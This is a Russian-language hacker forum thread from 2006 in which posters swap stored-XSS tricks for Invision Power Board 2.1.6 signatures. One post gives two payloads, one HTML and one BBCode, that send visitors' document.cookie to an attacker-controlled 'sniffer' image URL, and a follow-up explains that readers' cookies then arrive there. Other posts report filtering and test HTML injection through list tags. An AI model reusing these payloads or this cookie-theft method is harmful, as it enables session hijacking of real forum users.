Форумы Уязвимости invision board версии 2.1.6?

Discussion in 'Уязвимости CMS/форумов' started by XMaster, 27 May 2006.

  1. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    437
    Reputations:
    90
    фильтрует текст, слабо заменить?впринцыпе должно прокатить.
     
  2. Kiroff

    Kiroff New Member

    Joined:
    17 May 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    а если на форуме выключена поддержка загрузки аватар из нета? только с локальной ашины=(
    Пробовал в подпись тоже не жрет
     
  3. kulhacker

    kulhacker New Member

    Joined:
    3 May 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Да просто заплатку сделали уже)))
     
  4. Xxor

    Xxor Elder - Старейшина

    Joined:
    24 Jan 2006
    Messages:
    31
    Likes Received:
    3
    Reputations:
    0
    Народ пробуйте вставить в подпись:

    <span style='color:#EEF2F7'><span style='color:<img src='http://aaa.aa/=`aaa.jpg' border='0' alt='user posted image' />'>` style=background:url(javascript:document.images[1].src="http://10.12.1.24/snifer/s.gif?"+document.cookie) </span></span>

    или вот:
    [CO*LOR=[IM*G]http://aaa.aa/=`aaa.jpg[/IM*G]]` style=background:url(javascript:document.images[1].src="http://10.12.1.24/snifer/s.gif?"+document.cookie [/COL*OR] без *


    у меня работает =)
     
    #24 Xxor, 19 Jun 2006
    Last edited: 26 Jun 2006
    2 people like this.
  5. DEQ

    DEQ New Member

    Joined:
    15 Feb 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    2
    дай код поточнее т.к. то что ты дал не работает лично у меня на 2.1.6
     
  6. bl4ck-cat

    bl4ck-cat Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    52
    Likes Received:
    12
    Reputations:
    10
    хм.. тоже непонял.... зачем например в коде есть `?
     
    #26 bl4ck-cat, 19 Jun 2006
    Last edited: 19 Jun 2006
  7. kostet

    kostet New Member

    Joined:
    18 Jan 2006
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Ребят попробуйте в подписи вставить список.

    [_list = 1]

    <table border="1"><tr><td width="100" height="50"></td></tr></table>
    <короче тут можно написать свою станичку>

    [_/list]

    (без земли)

    но </script> и javascript: он сечет

    гы. до эксперементировал! у меня терь кнопка "Обноить подпись" не срабатывает
     
    #27 kostet, 20 Jun 2006
    Last edited: 20 Jun 2006
  8. GOLDMAN

    GOLDMAN New Member

    Joined:
    24 Jun 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ссылка битая! скажите где скачать мона! оч надо!
     
  9. marcks

    marcks New Member

    Joined:
    24 Jun 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    НЕ слабо, заменил, а толку... Тоже самое пишет :(
     
  10. Xxor

    Xxor Elder - Старейшина

    Joined:
    24 Jan 2006
    Messages:
    31
    Likes Received:
    3
    Reputations:
    0
    это его так сам форум поуродовал
     
  11. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    432
    Likes Received:
    251
    Reputations:
    48
    Ну я вставил это в подпись, и что должно произойти???
     
  12. Xxor

    Xxor Elder - Старейшина

    Joined:
    24 Jan 2006
    Messages:
    31
    Likes Received:
    3
    Reputations:
    0
    там где _http://10.12.1.24/snifer/s.gif надо писать адрес своего снифера и когда ктото прочтет сообщение его куки придут на снифер =)

    ИМХО:
    читай розделы: Новичкам и XSS Крупным планом
     
  13. DEQ

    DEQ New Member

    Joined:
    15 Feb 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    2
    да не работает оно просто на 2.1.6 вот и все (у меня)
    обратные кавычки фильтруются
    дай точный BB код а не результат или это бред просто
     
Loading...